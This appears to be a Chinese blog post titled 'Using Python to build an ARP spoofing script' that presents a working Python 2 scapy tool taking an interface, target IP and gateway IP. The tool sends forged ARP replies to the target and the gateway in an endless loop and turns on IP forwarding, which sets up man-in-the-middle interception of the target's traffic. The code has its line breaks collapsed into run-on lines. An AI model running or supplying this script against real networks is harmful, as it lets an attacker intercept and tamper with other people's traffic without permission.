使用python构造一个arp欺骗脚本
import os
import sys
from scapy.all import *
import optparse
def main():usage="usage:[-i interface] [-t IP to attack] [-g Gateway IP]"parser=optparse.OptionParser(usage)parser.add_option('-i',dest='interface',help='select interface(input eth0 or wlan0 or more)')parser.add_option('-t',dest='IP',help='You want to attack the IP')parser.add_option('-g',dest='gatewayip',help='The IP of the gateway')(options,args)=parser.parse_args()if options.interface and options.IP and options.gatewayip:interface=options.interfaceIP=options.IPgatewayip=options.gatewayipspoof(interface,IP,gatewayip)else:parser.print_help()sys.exit()
def spoof(interface,IP,gatewayip):benjimac=get_if_hwaddr(interface)mubiao=getmacbyip(IP)wanguan=getmacbyip(gatewayip)ptarget = Ether(src=benjimac, dst=mubiao) / ARP(hwsrc=benjimac, psrc=gatewayip, hwdst=mubiao, pdst=IP, op=2) #本地-》网关 pgateway=Ether(src=benjimac,dst=wanguan)/ARP(hwsrc=benjimac,psrc=IP,hwdst=wanguan,pdst=gatewayip,op=2) #本地-》目标机print '[+]Open IP forwarding'zhuanfa=os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') #IP转发 try:while 1:sendp(ptarget, inter=2, iface=interface) #发包print "send arp reponse to target(%s),gateway(%s) macaddress is %s" % (gatewayip, gatewayip, benjimac)sendp(pgateway, inter=2, iface=interface) #发包print "send arp reponse to gateway(%s),target(%s) macaddress is %s" % (IP, IP, benjimac)except Exception as f:print '[-]Error:',fsys.exit()
if __name__ == '__main__':main()
测试图：
